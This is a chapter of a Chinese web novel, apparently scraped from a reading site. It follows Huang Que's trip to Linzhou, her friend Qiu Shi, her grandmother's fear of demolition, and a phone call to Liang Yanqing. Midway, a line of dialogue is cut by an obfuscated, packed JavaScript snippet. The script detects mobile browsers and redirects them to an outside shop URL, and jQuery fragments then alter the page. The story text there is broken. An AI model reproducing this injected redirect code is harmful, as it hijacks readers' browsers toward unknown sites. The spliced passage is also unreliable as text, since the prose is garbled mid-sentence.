7. 大暑

作品:《黄雀风

    纸片薄薄一张,巴掌大点,拿在手里没什么分量。


    黄阙和梁晏清道别之后上楼,将它随手扔进一个小包里。


    之后又是一天的志愿者服务,相较于前一天的紧张,黄阙已然游刃有余。


    活动结束后,梁季承助理主动添加了黄阙微信好友,但也仅此而已。除了刚加上时打了个招呼,之后再无联系。


    闭幕式圆满落幕,后勤部在食堂举办庆功宴。黄阙没去,直接出发机场买了当晚的机票回南安。


    房子里空荡荡的,没有人在家。


    她洗了个澡,换上妈妈准备的新睡衣,躺回了久违的大床。


    一夜无梦。


    迷迷糊糊间,黄阙接到妈妈电话,说是正在出差,接下来半个月都不在家。


    黄筝柔声问她:“啾啾要不要去爸爸那边玩几天?”


    黄筝和阙难分居多年,感情早淡了。如果没有黄阙,离婚的时间会提前很多年。


    只是两人担心对她造成伤害,又不同住,所以一直拖到女儿上了大学才领离婚证。


    黄阙起初很迷茫,不明白为什么同学都能和爸爸妈妈在一起。长大后才渐渐理解,感情的事强求不来。


    阙难告诉她:“爸爸始终是爸爸,永远不会改变”。


    改变发生在去年夏天。黄阙暑假回江口,家里多了两个人。


    原来爸爸不只是她的爸爸,也不是不会照顾小孩。


    她并没有感觉被忽视,她只是……只是觉得自己很多余。


    这件事黄阙谁都没有说,只会在黄筝问她要不要回江口的时候哼哼唧唧地说不想去。


    “或者去外婆那里?等我回来就去接你。正好你也去劝劝外婆,要不要跟我们一起回南安。她一个人住在临州我实在是很不放心……”


    刚从学校回来,不想来回折腾。家里太过舒适,她在学校消磨殆尽的娇气又猛涨。


    黄阙嫌自己搭车去高铁站,再从高铁站到外婆家太麻烦,想等黄筝回来自驾去临州。


    结果等了十来天,没等到黄筝回来,却等到一笔转账。


    黄筝打来的,附言是:晚回。


    黄阙把手机一扔,坐起来猛拍床。


    她就知道!


    妈妈也知道自己理亏,连电话都不敢打,只敢随款留言。


    黄阙负气出门,连行李都没收,背了个链条包说走就走。


    她刚收到一笔钱,腰包鼓,底气也足,大手一挥买了张商务座享受。


    商务座是要舒服很多,座椅宽敞,还能躺平。


    她点开微信,发了张车票截图,而后满意地塞上耳机,拉低鸭舌帽檐,打算躺下好好享受一番,结果同车厢的小孩哭了一路。


    列车开始减速的时候,耳机里的音乐突然中断,有微信消息进来。


    她掀开帽子,眼睛被突如其来的光线刺激到,有些许的不适应。


    车厢内太吵,黄阙起身走到车门前才点开微信语音。


    邱时打着哈欠的懒散腔调和列车到站播报同时响起——


    “你该不会又晚点了吧?”


    邱时是黄阙发小,俩人从穿纸尿裤的年纪起就开始抢奶瓶,再大点更是互相扔泥巴。到了入学的年龄,黄阙回江口念小学,再后来黄筝和阙难分居,她也随黄筝转学去了南安,最终考到燕市上大学。


    而邱时从始至终在临州打转,不过是从东城区的小学换到了浅江区的大学。


    黄阙每年回来看外婆的时候,都会抽空和邱时聚一聚。


    但具体碰头的时间要看邱时。


    他学音乐,高考完就找了家酒吧驻唱,日夜颠倒的生活一直持续到现在。


    下午三点,他能梦游过来见她都不错了。


    黄阙笑笑,让邱时在出站口等着就行。


    远远地,能看见他在闸机口。头发染了棕色,还烫了卷,穿得层层叠叠,脖子、手腕、甚至连裤子上都挂着银色链条,看上去活像颗黑色圣诞树。


    圣诞树靠着栏杆,一手插兜,正埋头刷手机。


    黄阙冲过去,把脸凑到他面前。


    “辛苦你了呀小春花!昨晚几点睡的,今天居然这么早就醒了?”


    邱时又打了个哈欠,说那有什么的。


    “我就算熬通宵也得来接你。我要是不来,我俩一年一续的火花就该断了。”


    黄阙笑得直拍他肩。


    邱时接人就真的只是接人,甩着腿就来了。


    从他家坐地铁过来要换乘两次,花的时间都快赶上黄阙从南安到临州东。


    东站上车的人不少,邱时一上车就找了个位置坐下,黄阙护着新包包,地铁门合上的前几秒才挤上来。


    地铁在楼宇间穿梭,屏幕滚动播放临州景区广告。


    邱时凑过来,向外眺一眼。


    “嚯,这大暴雨……你可真会挑时间。”


    黄阙心说她可没挑时间,全看天意。


    雨点砸向玻璃,沉闷的声音密密匝匝,合着鼎沸人声与毫无感情的广播女音——


    “绕城高速因暴雨天气造成交通事故,东站至鹤陇方向道路拥堵,浅江大桥限行,有去往茶山和西城的乘客请绕行。”


    视线向眼尾一睇,黄阙忍不住乐:“该说不说,你还挺有远见。”


    “那是。不像你,精挑细选,挑中一个暴雨天。”邱时向后靠上车窗,闭上眼,一副认命的神情,“还得拉上我。”


    邱时睡到下午才起,还没吃早饭。黄阙不饿,点了一杯饮料,陪着他等波奇碗。


    在校期间黄阙三餐都在食堂解决,偶有聚餐也会尊重大家的口味,很少会吃漂亮饭,于是没忍住翻来覆去拍了好几分钟。


    邱时嘴毒,笑她太土。


    黄阙头也没抬:“那也好过你好好的一个人,非要cos圣诞树。”


    拍到满意,黄阙给外婆打了电话,告诉她已经到临州了,和邱时吃完晚饭逛逛就回。


    邱时问她:“仙婆婆还住在老房子吗?”


    仙婆婆是邱时对黄阙外婆的称呼,从小叫到大。


    “当然啊,怎么这么问?”


    “去年在传老家要拆,想问问仙婆婆有没有得到通知而已。”


    邱时的老家就在上鹤陇,离外婆家不到两百米。


    拆迁的传言,外婆也跟她讲过。黄阙甚至怀疑梁晏清是背后“主谋”。


    她犹豫着要不要告诉邱时,但他大概会冷笑一声然后说今天没睡醒的人是她。


    于是最后只是问邱时,是不是已经接到通知。


    “没,我爸倒是想呢。老房子都没人住了,拆了也好。”邱时说着,嘻嘻哈哈笑起来,“拆了我就不用再卖唱了。”


    黄阙想祝他梦想成真,又怕他梦想成真之后,外婆家也被拆掉,老太太彻底没了念想。


    邱时察觉她的情绪,拿自己开涮:“哎,你知道的,我想的事情就没有成过一件,所以你也别太放在心上,仙婆婆肯定能住得好好的。”


    黄阙沉默片刻,说:“你还是嘴毒一点我比较习惯。”


    饭后照例逛街,黄阙觉得白T牛仔就很好看,邱时非要让她去试一条设计师解构裙子。


    争执不下之际,邱时收到店长微信,问他能不能临时救场。


    邱时看了黄阙一眼,按下语音键。


    “找别人吧,忙着当地陪。”


    那边直接打来电话,声音大得黄阙都能听见,看样子是真急。


    “少废话,赶紧的。”他说了两句,补充条件,“工资翻倍,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16588679|187370||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    打车来。”


    邱时捏着电话,看向黄阙。


    她冲他挥挥手:“去吧去吧,我这段时间都在鹤陇,等你哪天睡醒了再给我打电话,天黑之前都能来。”


    他们店和鹤陇在一个方向,黄阙蹭了邱时一段车,在最近的地铁口和他告别。


    地铁到了鹤陇,还得换乘公交。


    也许是时间晚,外婆这次没有迎出来。


    黄阙在门外就听见吱吱嘎嘎的声音,进去之后发现外婆果然在擦那个老掉牙的衣帽架。


    “外婆!”


    蒋月仙听见动静,换上笑脸,却还是被黄阙捕捉到了她一闪而过的失落神情。


    外婆是在想外公吗?


    她看向斗柜上的相框,盘算着,得让外婆换个环境才行。


    黄阙拉开椅子,在蒋月仙面前坐下,学着黄筝的样子与她柔声商量。“妈妈说过几天来接我回南安,你也跟我们去南安玩一玩嘛。”


    向来对外孙女有求必应的老太太这次说什么也不答应,躲回屋里躺下了。


    黄阙劝了好半天,蒋月仙干脆起来锁了门。


    这很不对劲。


    八点档的家庭剧哭哭啼啼的,是隔壁邻居家传来的声音。


    黄阙像抓住救命稻草,冒着雨跑去水果店挑了个大西瓜,拎回来敲开了邻居家的门。


    钱婆婆见她来,笑得见牙不见眼,直夸黄阙是上鹤陇最孝顺的小孩。


    孝顺的小孩笑得很不好意思,问她:“那钱婆婆能不能跟我说说,我外婆最近有没有什么烦心事?她都瘦了,我当孙女的可心疼!”


    钱婆婆也心疼,什么都跟她说。


    其实说来说去,源头还是拆迁的传闻。八字没一撇的事,让老人提心吊胆许久。


    “那传得有鼻子有眼的事,还能是假的咯?”钱婆婆切了西瓜给黄阙,“还有消息说是个大老板呢,上市公司来的,投了好多钱,还买了一片山修房子。”


    ……


    黄阙脑子“嗡”的一下,突然就乱了。


    她淋着雨回家,顾不上换衣服,第一时间打开链条包。


    烫金名片躺在底部,被折弯一个角。


    黄阙拿出那张名片,在屋檐下来回踱步,细长手指捏住对角线反复弯折。


    其实吃饭那晚,黄阙自认为已经单方面和梁晏清划清了界限。


    她都清楚,他们只见过几次而已。


    -


    暴雨如注,高架接连几起车祸,迟迟没能疏通。


    “太不凑巧了,这次回来又是暴雨。”栗裕从后视镜里看了一眼,又直视前方,“最多半小时,老板。”


    这哪是不凑巧,这明明是天注定。


    注定他每次来临州都是雨。


    梁晏清耐心告罄,告知他今天不回茶山,就近找家酒店。


    之后是漫长的等待。


    手机铃声突然响起,梁晏清闭着眼睛接听。


    耳边传来久违的、熟悉的声音。


    他猛地睁开眼。


    -


    “喂?”


    黄阙没想到他会接,还接得这么快。


    “是我。”他说。


    “我是黄阙。”她没意识到梁晏清认出了她,还在提醒,“你上次是不是说,我可以来敲你的门?”


    “现在?”


    他会这么问,大概是在忙。


    “你现在有事的话,那我晚点再……”


    梁晏清打断她,带着笃定:“你能找到的门只有临州那扇。”


    “我只是想……”


    “能找到吗?找不到我现在来接你。”


    黄阙来回踱步的脚骤然停住。


    她听见院子一角的小池塘里,有一尾鱼跃出水面,激起层层涟漪。